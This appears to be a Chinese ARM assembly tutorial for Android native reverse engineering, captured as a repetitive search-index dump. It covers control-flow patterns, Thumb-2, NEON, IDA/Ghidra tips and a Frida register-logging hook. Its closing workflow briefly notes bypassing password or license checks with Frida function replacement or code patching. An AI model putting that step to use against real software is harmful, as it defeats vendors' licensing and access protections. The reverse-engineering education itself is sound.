BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#switch-case-结构"},{"categories":null,"collections":null,"content":"常见模式识别 逆向工程最重要的技能之一是在汇编中识别高级语言的结构。以下是常见的代码模式。 if/else 结构 // C 代码 if (a \u003e 10) { result = 1; } else { result = 0; } ; ARM32 汇编 CMP R0, #10 ; 比较 a 和 10 BLE .else_branch ; 如果 a \u003c= 10，跳到 else MOV R0, #1 ; result = 1 (if 分支) B .end_if ; 跳过 else .else_branch: MOV R0, #0 ; result = 0 (else 分支) .end_if: ; AArch64 可能使用条件选择指令代替分支 CMP W0, #10 MOV W1, #1 ; 准备 if 的值 MOV W2, #0 ; 准备 else 的值 CSEL W0, W1, W2, GT ; W0 = (a \u003e 10) ? W1 : W2 识别技巧 看到 CMP 后紧跟条件跳转 B.xx，这几乎一定是 if/else 结构。跳转目标就是 else 分支或 if 块结束的位置。注意条件码是反转的：C 代码中是 \u003e 10，汇编中跳转条件是 \u003c= 10 (BLE)，因为是\"不满足条件就跳过”。 for 循环 // C 代码 int sum = 0; for (int i = 0; i \u003c 10; i++) { sum += array[i]; } ; AArch64 汇编 MOV W0, #0 ; sum = 0 MOV W1, #0 ; i = 0 ADR X2, array ; X2 = 数组基地址 .loop_start: CMP W1, #10 ; i \u003c 10? B.GE .loop_end ; 如果 i \u003e= 10，退出循环 LDRSH W3, [X2, X1, LSL #2] ; W3 = array[i] (假设 int 数组) ADD W0, W0, W3 ; sum += array[i] ADD W1, W1, #1 ; i++ B .loop_start ; 跳回循环头部 .loop_end: 识别 for 循环的三要素 初始化：循环变量设为初始值 (MOV W1, #0) 条件检查：CMP + 条件跳转到循环体外 (CMP W1, #10; B.GE) 递增/递减：循环变量更新 (ADD W1, W1, #1) 后跳回条件检查处 编译器可能将条件检查放在循环末尾（do-while 优化），这时结构变为：先跳到末尾检查，循环体在前，条件判断在后。 while 循环 // C 代码 while (ptr != NULL) { process(ptr); ptr = ptr-\u003enext; } ; AArch64 汇编 ; X19 = ptr (使用 callee-saved 寄存器保存) .while_check: CBZ X19, .while_end ; if (ptr == NULL) 跳出 MOV X0, X19 ; 第一个参数 = ptr BL process ; 调用 process(ptr) LDR X19, [X19, #8] ; ptr = ptr-\u003enext (假设 next 在偏移 +8) B .while_check ; 回到条件检查 .while_end: switch-case 结构 switch-case 有多种编译方式，最常见的是跳转表 (jump table)。 // C 代码 switch (cmd) { case 0: action_a(); break; case 1: action_b(); break; case 2: action_c(); break; default: action_default(); break; } ; AArch64 汇编 (跳转表实现) CMP W0, #2 ; cmd 和最大 case 值比较 B.HI .default_case ; 无符号大于 2，跳到 default ADR X1, .jump_table ; 取跳转表基地址 LDRSW X2, [X1, X0, LSL #2] ; 从跳转表加载偏移 ADD X1, X1, X2 ; 计算目标地址 BR X1 ; 跳转到对应 case .jump_table: .word .case_0 - .jump_table .word .case_1 - .jump_table .word .case_2 - .jump_table .case_0: BL action_a B .switch_end .case_1: BL action_b B .switch_end .case_2: BL action_c B .switch_end .default_case: BL action_default .switch_end: 在 IDA/Ghidra 中识别 switch 当你看到一个 CMP 后跟范围检查 (B.HI 或 B.HS)，然后有一个 ADR + 表加载 + BR 的组合时，这就是一个跳转表实现的 switch。IDA 通常能自动识别并显示为 switch jump 注释。如果识别不了，可以手动指定跳转表。 函数序言/结语 (Prologue/Epilogue) 这是最重要的模式之一，因为它标志着函数的边界。 ; === ARM32 典型函数序言/结语 === func_arm32: ; --- 序言 (Prologue) --- PUSH {R4-R7, LR} ; 保存被调用者保存寄存器和返回地址 SUB SP, SP, #20 ; 为局部变量分配栈空间 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- ADD SP, SP, #20 ; 释放局部变量空间 POP {R4-R7, PC} ; 恢复寄存器，将 LR 弹到 PC 实现返回 ; === AArch64 典型函数序言/结语 === func_aarch64: ; --- 序言 (Prologue) --- STP X29, X30, [SP, #-32]! ; 保存 FP 和 LR STP X19, X20, [SP, #16] ; 保存将要使用的 callee-saved 寄存器 MOV X29, SP ; 建立帧指针 ; --- 函数体 --- ; ... ; --- 结语 (Epilogue) --- LDP X19, X20, [SP, #16] ; 恢复 callee-saved 寄存器 LDP X29, X30, [SP], #32 ; 恢复 FP 和 LR RET ; 返回 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:5","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#函数序言结语-prologueepilogue"},{"categories":null,"collections":null,"content":"Thumb/Thumb-2 模式 在 Android 32 位 .so 文件中，你几乎总是在看 Thumb-2 代码，而不是纯 ARM 代码。理解 Thumb 模式对于正确分析至关重要。 什么是 Thumb？ Thumb (T1)：原始 Thumb 指令集，所有指令都是 16 位宽。代码密度高，但功能有限。 Thumb-2 (T2)：ARMv6T2 及以上引入。混合使用 16 位和 32 位指令，既有高代码密度，又有完整功能。 ARM 模式：所有指令 32 位宽。功能完整，但代码密度低。 ARM 与 Thumb 模式切换 处理器通过 CPSR 的 T 位判断当前模式。关键的切换机制是 BX (Branch and Exchange) 指令： ; BX 指令通过目标地址的最低位判断切换到哪个模式： ; - 地址最低位 = 1 -\u003e 切换到 Thumb 模式 ; - 地址最低位 = 0 -\u003e 切换到 ARM 模式 ; (实际跳转时最低位会被忽略，只用于模式判断) BX R0 ; 跳转到 R0 中的地址，根据 R0[0] 切换模式 BLX R0 ; 带链接的分支并交换模式 BLX label ; 跳转到 label 并切换 ARM/Thumb 模式 在 IDA 中识别 Thumb 代码 函数地址：如果函数地址是奇数（最低位为 1），说明是 Thumb 代码。例如地址 0x1001 实际是 0x1000 处的 Thumb 代码。 指令长度：IDA 中 Thumb-2 代码的指令长度是 2 或 4 字节，ARM 模式总是 4 字节。 手动切换：如果 IDA 错误地以 ARM 模式解析了 Thumb 代码（或反之），可以按 Alt+G 修改 T 寄存器的值（1 = Thumb，0 = ARM），然后按 C 重新分析。 Thumb-2 vs ARM 指令对比 操作 ARM 模式 Thumb-2 模式 加法 ADD R0, R1, R2 (32-bit) ADD R0, R1, R2 (16-bit 或 32-bit) 压栈 STMDB SP!, {R4-R6, LR} PUSH {R4-R6, LR} (16-bit) 条件执行 ADDNE R0, R0, #1 需要 IT NE + ADD R0, R0, #1 分支 B label (32-bit) B label (16-bit, 范围较小) IT (If-Then) 指令块：Thumb-2 用 IT 指令实现条件执行，这是逆向中常见的模式： ; Thumb-2 条件执行 CMP R0, #0 ITE EQ ; If-Then-Else: 如果 EQ，下一条执行；否则下下条执行 MOVEQ R1, #1 ; if (R0 == 0) R1 = 1 MOVNE R1, #0 ; else R1 = 0 AArch64 没有 Thumb ARM64 (AArch64) 架构不存在 Thumb 模式。AArch64 只使用固定 32 位宽的 A64 指令集。所以当你分析 arm64-v8a 的 .so 文件时，不需要担心 Thumb 模式的问题。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:6","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#thumbthumb-2-模式"},{"categories":null,"collections":null,"content":"Thumb/Thumb-2 模式 在 Android 32 位 .so 文件中，你几乎总是在看 Thumb-2 代码，而不是纯 ARM 代码。理解 Thumb 模式对于正确分析至关重要。 什么是 Thumb？ Thumb (T1)：原始 Thumb 指令集，所有指令都是 16 位宽。代码密度高，但功能有限。 Thumb-2 (T2)：ARMv6T2 及以上引入。混合使用 16 位和 32 位指令，既有高代码密度，又有完整功能。 ARM 模式：所有指令 32 位宽。功能完整，但代码密度低。 ARM 与 Thumb 模式切换 处理器通过 CPSR 的 T 位判断当前模式。关键的切换机制是 BX (Branch and Exchange) 指令： ; BX 指令通过目标地址的最低位判断切换到哪个模式： ; - 地址最低位 = 1 -\u003e 切换到 Thumb 模式 ; - 地址最低位 = 0 -\u003e 切换到 ARM 模式 ; (实际跳转时最低位会被忽略，只用于模式判断) BX R0 ; 跳转到 R0 中的地址，根据 R0[0] 切换模式 BLX R0 ; 带链接的分支并交换模式 BLX label ; 跳转到 label 并切换 ARM/Thumb 模式 在 IDA 中识别 Thumb 代码 函数地址：如果函数地址是奇数（最低位为 1），说明是 Thumb 代码。例如地址 0x1001 实际是 0x1000 处的 Thumb 代码。 指令长度：IDA 中 Thumb-2 代码的指令长度是 2 或 4 字节，ARM 模式总是 4 字节。 手动切换：如果 IDA 错误地以 ARM 模式解析了 Thumb 代码（或反之），可以按 Alt+G 修改 T 寄存器的值（1 = Thumb，0 = ARM），然后按 C 重新分析。 Thumb-2 vs ARM 指令对比 操作 ARM 模式 Thumb-2 模式 加法 ADD R0, R1, R2 (32-bit) ADD R0, R1, R2 (16-bit 或 32-bit) 压栈 STMDB SP!, {R4-R6, LR} PUSH {R4-R6, LR} (16-bit) 条件执行 ADDNE R0, R0, #1 需要 IT NE + ADD R0, R0, #1 分支 B label (32-bit) B label (16-bit, 范围较小) IT (If-Then) 指令块：Thumb-2 用 IT 指令实现条件执行，这是逆向中常见的模式： ; Thumb-2 条件执行 CMP R0, #0 ITE EQ ; If-Then-Else: 如果 EQ，下一条执行；否则下下条执行 MOVEQ R1, #1 ; if (R0 == 0) R1 = 1 MOVNE R1, #0 ; else R1 = 0 AArch64 没有 Thumb ARM64 (AArch64) 架构不存在 Thumb 模式。AArch64 只使用固定 32 位宽的 A64 指令集。所以当你分析 arm64-v8a 的 .so 文件时，不需要担心 Thumb 模式的问题。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:6","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#什么是-thumb"},{"categories":null,"collections":null,"content":"Thumb/Thumb-2 模式 在 Android 32 位 .so 文件中，你几乎总是在看 Thumb-2 代码，而不是纯 ARM 代码。理解 Thumb 模式对于正确分析至关重要。 什么是 Thumb？ Thumb (T1)：原始 Thumb 指令集，所有指令都是 16 位宽。代码密度高，但功能有限。 Thumb-2 (T2)：ARMv6T2 及以上引入。混合使用 16 位和 32 位指令，既有高代码密度，又有完整功能。 ARM 模式：所有指令 32 位宽。功能完整，但代码密度低。 ARM 与 Thumb 模式切换 处理器通过 CPSR 的 T 位判断当前模式。关键的切换机制是 BX (Branch and Exchange) 指令： ; BX 指令通过目标地址的最低位判断切换到哪个模式： ; - 地址最低位 = 1 -\u003e 切换到 Thumb 模式 ; - 地址最低位 = 0 -\u003e 切换到 ARM 模式 ; (实际跳转时最低位会被忽略，只用于模式判断) BX R0 ; 跳转到 R0 中的地址，根据 R0[0] 切换模式 BLX R0 ; 带链接的分支并交换模式 BLX label ; 跳转到 label 并切换 ARM/Thumb 模式 在 IDA 中识别 Thumb 代码 函数地址：如果函数地址是奇数（最低位为 1），说明是 Thumb 代码。例如地址 0x1001 实际是 0x1000 处的 Thumb 代码。 指令长度：IDA 中 Thumb-2 代码的指令长度是 2 或 4 字节，ARM 模式总是 4 字节。 手动切换：如果 IDA 错误地以 ARM 模式解析了 Thumb 代码（或反之），可以按 Alt+G 修改 T 寄存器的值（1 = Thumb，0 = ARM），然后按 C 重新分析。 Thumb-2 vs ARM 指令对比 操作 ARM 模式 Thumb-2 模式 加法 ADD R0, R1, R2 (32-bit) ADD R0, R1, R2 (16-bit 或 32-bit) 压栈 STMDB SP!, {R4-R6, LR} PUSH {R4-R6, LR} (16-bit) 条件执行 ADDNE R0, R0, #1 需要 IT NE + ADD R0, R0, #1 分支 B label (32-bit) B label (16-bit, 范围较小) IT (If-Then) 指令块：Thumb-2 用 IT 指令实现条件执行，这是逆向中常见的模式： ; Thumb-2 条件执行 CMP R0, #0 ITE EQ ; If-Then-Else: 如果 EQ，下一条执行；否则下下条执行 MOVEQ R1, #1 ; if (R0 == 0) R1 = 1 MOVNE R1, #0 ; else R1 = 0 AArch64 没有 Thumb ARM64 (AArch64) 架构不存在 Thumb 模式。AArch64 只使用固定 32 位宽的 A64 指令集。所以当你分析 arm64-v8a 的 .so 文件时，不需要担心 Thumb 模式的问题。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:6","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#arm-与-thumb-模式切换"},{"categories":null,"collections":null,"content":"Thumb/Thumb-2 模式 在 Android 32 位 .so 文件中，你几乎总是在看 Thumb-2 代码，而不是纯 ARM 代码。理解 Thumb 模式对于正确分析至关重要。 什么是 Thumb？ Thumb (T1)：原始 Thumb 指令集，所有指令都是 16 位宽。代码密度高，但功能有限。 Thumb-2 (T2)：ARMv6T2 及以上引入。混合使用 16 位和 32 位指令，既有高代码密度，又有完整功能。 ARM 模式：所有指令 32 位宽。功能完整，但代码密度低。 ARM 与 Thumb 模式切换 处理器通过 CPSR 的 T 位判断当前模式。关键的切换机制是 BX (Branch and Exchange) 指令： ; BX 指令通过目标地址的最低位判断切换到哪个模式： ; - 地址最低位 = 1 -\u003e 切换到 Thumb 模式 ; - 地址最低位 = 0 -\u003e 切换到 ARM 模式 ; (实际跳转时最低位会被忽略，只用于模式判断) BX R0 ; 跳转到 R0 中的地址，根据 R0[0] 切换模式 BLX R0 ; 带链接的分支并交换模式 BLX label ; 跳转到 label 并切换 ARM/Thumb 模式 在 IDA 中识别 Thumb 代码 函数地址：如果函数地址是奇数（最低位为 1），说明是 Thumb 代码。例如地址 0x1001 实际是 0x1000 处的 Thumb 代码。 指令长度：IDA 中 Thumb-2 代码的指令长度是 2 或 4 字节，ARM 模式总是 4 字节。 手动切换：如果 IDA 错误地以 ARM 模式解析了 Thumb 代码（或反之），可以按 Alt+G 修改 T 寄存器的值（1 = Thumb，0 = ARM），然后按 C 重新分析。 Thumb-2 vs ARM 指令对比 操作 ARM 模式 Thumb-2 模式 加法 ADD R0, R1, R2 (32-bit) ADD R0, R1, R2 (16-bit 或 32-bit) 压栈 STMDB SP!, {R4-R6, LR} PUSH {R4-R6, LR} (16-bit) 条件执行 ADDNE R0, R0, #1 需要 IT NE + ADD R0, R0, #1 分支 B label (32-bit) B label (16-bit, 范围较小) IT (If-Then) 指令块：Thumb-2 用 IT 指令实现条件执行，这是逆向中常见的模式： ; Thumb-2 条件执行 CMP R0, #0 ITE EQ ; If-Then-Else: 如果 EQ，下一条执行；否则下下条执行 MOVEQ R1, #1 ; if (R0 == 0) R1 = 1 MOVNE R1, #0 ; else R1 = 0 AArch64 没有 Thumb ARM64 (AArch64) 架构不存在 Thumb 模式。AArch64 只使用固定 32 位宽的 A64 指令集。所以当你分析 arm64-v8a 的 .so 文件时，不需要担心 Thumb 模式的问题。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:6","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#在-ida-中识别-thumb-代码"},{"categories":null,"collections":null,"content":"Thumb/Thumb-2 模式 在 Android 32 位 .so 文件中，你几乎总是在看 Thumb-2 代码，而不是纯 ARM 代码。理解 Thumb 模式对于正确分析至关重要。 什么是 Thumb？ Thumb (T1)：原始 Thumb 指令集，所有指令都是 16 位宽。代码密度高，但功能有限。 Thumb-2 (T2)：ARMv6T2 及以上引入。混合使用 16 位和 32 位指令，既有高代码密度，又有完整功能。 ARM 模式：所有指令 32 位宽。功能完整，但代码密度低。 ARM 与 Thumb 模式切换 处理器通过 CPSR 的 T 位判断当前模式。关键的切换机制是 BX (Branch and Exchange) 指令： ; BX 指令通过目标地址的最低位判断切换到哪个模式： ; - 地址最低位 = 1 -\u003e 切换到 Thumb 模式 ; - 地址最低位 = 0 -\u003e 切换到 ARM 模式 ; (实际跳转时最低位会被忽略，只用于模式判断) BX R0 ; 跳转到 R0 中的地址，根据 R0[0] 切换模式 BLX R0 ; 带链接的分支并交换模式 BLX label ; 跳转到 label 并切换 ARM/Thumb 模式 在 IDA 中识别 Thumb 代码 函数地址：如果函数地址是奇数（最低位为 1），说明是 Thumb 代码。例如地址 0x1001 实际是 0x1000 处的 Thumb 代码。 指令长度：IDA 中 Thumb-2 代码的指令长度是 2 或 4 字节，ARM 模式总是 4 字节。 手动切换：如果 IDA 错误地以 ARM 模式解析了 Thumb 代码（或反之），可以按 Alt+G 修改 T 寄存器的值（1 = Thumb，0 = ARM），然后按 C 重新分析。 Thumb-2 vs ARM 指令对比 操作 ARM 模式 Thumb-2 模式 加法 ADD R0, R1, R2 (32-bit) ADD R0, R1, R2 (16-bit 或 32-bit) 压栈 STMDB SP!, {R4-R6, LR} PUSH {R4-R6, LR} (16-bit) 条件执行 ADDNE R0, R0, #1 需要 IT NE + ADD R0, R0, #1 分支 B label (32-bit) B label (16-bit, 范围较小) IT (If-Then) 指令块：Thumb-2 用 IT 指令实现条件执行，这是逆向中常见的模式： ; Thumb-2 条件执行 CMP R0, #0 ITE EQ ; If-Then-Else: 如果 EQ，下一条执行；否则下下条执行 MOVEQ R1, #1 ; if (R0 == 0) R1 = 1 MOVNE R1, #0 ; else R1 = 0 AArch64 没有 Thumb ARM64 (AArch64) 架构不存在 Thumb 模式。AArch64 只使用固定 32 位宽的 A64 指令集。所以当你分析 arm64-v8a 的 .so 文件时，不需要担心 Thumb 模式的问题。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:6","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#thumb-2-vs-arm-指令对比"},{"categories":null,"collections":null,"content":"NEON/SIMD 基础 在逆向分析加密算法（如 AES、SHA）的 native 实现时，你可能会遇到 NEON 指令。NEON 是 ARM 的 SIMD (单指令多数据) 扩展，能同时对多个数据元素执行相同操作。 NEON 寄存器 ARM32 (VFPv3/NEON) 寄存器 大小 说明 S0-S31 32-bit 单精度浮点 D0-D31 64-bit 双精度浮点 / NEON 向量 Q0-Q15 128-bit NEON 四字向量 (Q0 = D0:D1) AArch64 (ASIMD) 寄存器 大小 说明 V0-V31 128-bit 统一的向量/浮点寄存器 访问方式 Vn.16B 16 个字节 Vn.8H 8 个半字 (16-bit) Vn.4S 4 个单字 (32-bit) Vn.2D 2 个双字 (64-bit) 逆向中常见的 NEON 指令 ; AArch64 NEON 示例 (AES 加密中常见) LD1 {V0.16B}, [X0] ; 从 X0 加载 16 字节到 V0 LD1 {V1.16B}, [X1] ; 加载密钥 AESE V0.16B, V1.16B ; AES 单轮加密 AESMC V0.16B, V0.16B ; AES MixColumns EOR V0.16B, V0.16B, V2.16B ; 异或操作 (向量) ST1 {V0.16B}, [X0] ; 将结果存储回内存 ; 常见的向量算术 ADD V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时加法 MUL V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时乘法 SHL V0.4S, V1.4S, #8 ; 4 个 32 位元素同时左移 8 位 TBL V0.16B, {V1.16B}, V2.16B ; 查表指令 (S-Box 实现常用) 遇到 NEON 不要慌 在逆向中遇到大量 NEON 指令，通常意味着以下几种情况之一： 加密算法：AES、SHA 等有硬件加速指令 (AESE、SHA256H 等) 数据处理：图片处理、音视频编解码 校验和：CRC32 等 通常你不需要逐条理解每个 NEON 指令，而是识别出整体模式（这是一个 AES 加密循环、这是一个 SHA-256 压缩函数等），然后查找对应的标准实现进行对比。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:7","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#neonsimd-基础"},{"categories":null,"collections":null,"content":"NEON/SIMD 基础 在逆向分析加密算法（如 AES、SHA）的 native 实现时，你可能会遇到 NEON 指令。NEON 是 ARM 的 SIMD (单指令多数据) 扩展，能同时对多个数据元素执行相同操作。 NEON 寄存器 ARM32 (VFPv3/NEON) 寄存器 大小 说明 S0-S31 32-bit 单精度浮点 D0-D31 64-bit 双精度浮点 / NEON 向量 Q0-Q15 128-bit NEON 四字向量 (Q0 = D0:D1) AArch64 (ASIMD) 寄存器 大小 说明 V0-V31 128-bit 统一的向量/浮点寄存器 访问方式 Vn.16B 16 个字节 Vn.8H 8 个半字 (16-bit) Vn.4S 4 个单字 (32-bit) Vn.2D 2 个双字 (64-bit) 逆向中常见的 NEON 指令 ; AArch64 NEON 示例 (AES 加密中常见) LD1 {V0.16B}, [X0] ; 从 X0 加载 16 字节到 V0 LD1 {V1.16B}, [X1] ; 加载密钥 AESE V0.16B, V1.16B ; AES 单轮加密 AESMC V0.16B, V0.16B ; AES MixColumns EOR V0.16B, V0.16B, V2.16B ; 异或操作 (向量) ST1 {V0.16B}, [X0] ; 将结果存储回内存 ; 常见的向量算术 ADD V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时加法 MUL V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时乘法 SHL V0.4S, V1.4S, #8 ; 4 个 32 位元素同时左移 8 位 TBL V0.16B, {V1.16B}, V2.16B ; 查表指令 (S-Box 实现常用) 遇到 NEON 不要慌 在逆向中遇到大量 NEON 指令，通常意味着以下几种情况之一： 加密算法：AES、SHA 等有硬件加速指令 (AESE、SHA256H 等) 数据处理：图片处理、音视频编解码 校验和：CRC32 等 通常你不需要逐条理解每个 NEON 指令，而是识别出整体模式（这是一个 AES 加密循环、这是一个 SHA-256 压缩函数等），然后查找对应的标准实现进行对比。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:7","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#neon-寄存器"},{"categories":null,"collections":null,"content":"NEON/SIMD 基础 在逆向分析加密算法（如 AES、SHA）的 native 实现时，你可能会遇到 NEON 指令。NEON 是 ARM 的 SIMD (单指令多数据) 扩展，能同时对多个数据元素执行相同操作。 NEON 寄存器 ARM32 (VFPv3/NEON) 寄存器 大小 说明 S0-S31 32-bit 单精度浮点 D0-D31 64-bit 双精度浮点 / NEON 向量 Q0-Q15 128-bit NEON 四字向量 (Q0 = D0:D1) AArch64 (ASIMD) 寄存器 大小 说明 V0-V31 128-bit 统一的向量/浮点寄存器 访问方式 Vn.16B 16 个字节 Vn.8H 8 个半字 (16-bit) Vn.4S 4 个单字 (32-bit) Vn.2D 2 个双字 (64-bit) 逆向中常见的 NEON 指令 ; AArch64 NEON 示例 (AES 加密中常见) LD1 {V0.16B}, [X0] ; 从 X0 加载 16 字节到 V0 LD1 {V1.16B}, [X1] ; 加载密钥 AESE V0.16B, V1.16B ; AES 单轮加密 AESMC V0.16B, V0.16B ; AES MixColumns EOR V0.16B, V0.16B, V2.16B ; 异或操作 (向量) ST1 {V0.16B}, [X0] ; 将结果存储回内存 ; 常见的向量算术 ADD V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时加法 MUL V0.4S, V1.4S, V2.4S ; 4 个 32 位整数同时乘法 SHL V0.4S, V1.4S, #8 ; 4 个 32 位元素同时左移 8 位 TBL V0.16B, {V1.16B}, V2.16B ; 查表指令 (S-Box 实现常用) 遇到 NEON 不要慌 在逆向中遇到大量 NEON 指令，通常意味着以下几种情况之一： 加密算法：AES、SHA 等有硬件加速指令 (AESE、SHA256H 等) 数据处理：图片处理、音视频编解码 校验和：CRC32 等 通常你不需要逐条理解每个 NEON 指令，而是识别出整体模式（这是一个 AES 加密循环、这是一个 SHA-256 压缩函数等），然后查找对应的标准实现进行对比。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:7","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#逆向中常见的-neon-指令"},{"categories":null,"collections":null,"content":"在 IDA/Ghidra 中阅读 ARM 掌握工具的使用技巧能极大提升逆向效率。 IDA Pro 实用技巧 基本操作 快捷键 功能 Space 在图形视图和文本视图之间切换 F5 反编译 (查看伪代码) G 跳转到指定地址 N 重命名函数/变量 X 查看交叉引用 (Xrefs) Y 修改函数签名/类型 H 切换数值显示格式 (十进制/十六进制) Alt+G 修改段寄存器值 (用于切换 ARM/Thumb) / 在反编译视图中添加注释 ARM 特定技巧 检查 Thumb 模式：如果反汇编看起来不对劲（大量无效指令），可能是 ARM/Thumb 模式判断错误。使用 Alt+G 设置 T 值。 识别字符串引用：在 ARM64 代码中，字符串加载通常是 ADRP + ADD 的组合： ADRP X0, #aHelloWorld@PAGE ; 加载页地址 ADD X0, X0, #aHelloWorld@PAGEOFF ; 加上页内偏移 BL puts ; 调用 puts 结构体偏移：看到连续的 LDR Xn, [X0, #offset] 时，这通常是在访问结构体成员。可以在 IDA 中创建结构体定义来改善可读性。 函数签名恢复：对于 JNI 函数，第一个参数是 JNIEnv*，第二个是 jobject (实例方法) 或 jclass (静态方法)。在 IDA 中设置正确的函数签名后，反编译结果会清晰得多。 Ghidra 实用技巧 导入 .so 文件：选择正确的处理器类型（ARM/AARCH64）和字节序（小端序 LE）。 JNI 头文件：通过 File -\u003e Parse C Source 导入 jni.h，可以正确标注 JNI 函数。 常用操作：L 重命名、右键 “Retype Variable” 改类型、Window -\u003e “Decompiler” 看反编译。 注意事项：Ghidra 可能在 Thumb/ARM 模式混淆、NEON 指令、尾调用优化等场景产生错误。 Frida 配合汇编分析 在静态分析后，可以用 Frida 动态验证你的理解： // 在特定地址读取寄存器值 (AArch64) Interceptor.attach(ptr(\"0x12345678\"), { onEnter: function(args) { // args[0] 对应 X0, args[1] 对应 X1, ... console.log(\"X0 =\", args[0]); console.log(\"X1 =\", args[1]); // 读取更多寄存器 console.log(\"X8 =\", this.context.x8); console.log(\"SP =\", this.context.sp); console.log(\"LR =\", this.context.lr); // 读取内存 console.log(\"X0 指向的字符串:\", args[0].readUtf8String()); console.log(\"[SP+0x10]:\", this.context.sp.add(0x10).readPointer()); } }); 从汇编到 Frida hook 的工作流 在 IDA/Ghidra 中定位目标函数，分析函数签名 找到关键比较/分支点 (如密码校验、License 检查) 使用 Frida Interceptor.attach 在对应地址 hook，读取或修改寄存器值 如果需要绕过检查，用 Interceptor.replace 替换函数或 Memory.patchCode 修改指令 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:8","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#在-idaghidra-中阅读-arm"},{"categories":null,"collections":null,"content":"在 IDA/Ghidra 中阅读 ARM 掌握工具的使用技巧能极大提升逆向效率。 IDA Pro 实用技巧 基本操作 快捷键 功能 Space 在图形视图和文本视图之间切换 F5 反编译 (查看伪代码) G 跳转到指定地址 N 重命名函数/变量 X 查看交叉引用 (Xrefs) Y 修改函数签名/类型 H 切换数值显示格式 (十进制/十六进制) Alt+G 修改段寄存器值 (用于切换 ARM/Thumb) / 在反编译视图中添加注释 ARM 特定技巧 检查 Thumb 模式：如果反汇编看起来不对劲（大量无效指令），可能是 ARM/Thumb 模式判断错误。使用 Alt+G 设置 T 值。 识别字符串引用：在 ARM64 代码中，字符串加载通常是 ADRP + ADD 的组合： ADRP X0, #aHelloWorld@PAGE ; 加载页地址 ADD X0, X0, #aHelloWorld@PAGEOFF ; 加上页内偏移 BL puts ; 调用 puts 结构体偏移：看到连续的 LDR Xn, [X0, #offset] 时，这通常是在访问结构体成员。可以在 IDA 中创建结构体定义来改善可读性。 函数签名恢复：对于 JNI 函数，第一个参数是 JNIEnv*，第二个是 jobject (实例方法) 或 jclass (静态方法)。在 IDA 中设置正确的函数签名后，反编译结果会清晰得多。 Ghidra 实用技巧 导入 .so 文件：选择正确的处理器类型（ARM/AARCH64）和字节序（小端序 LE）。 JNI 头文件：通过 File -\u003e Parse C Source 导入 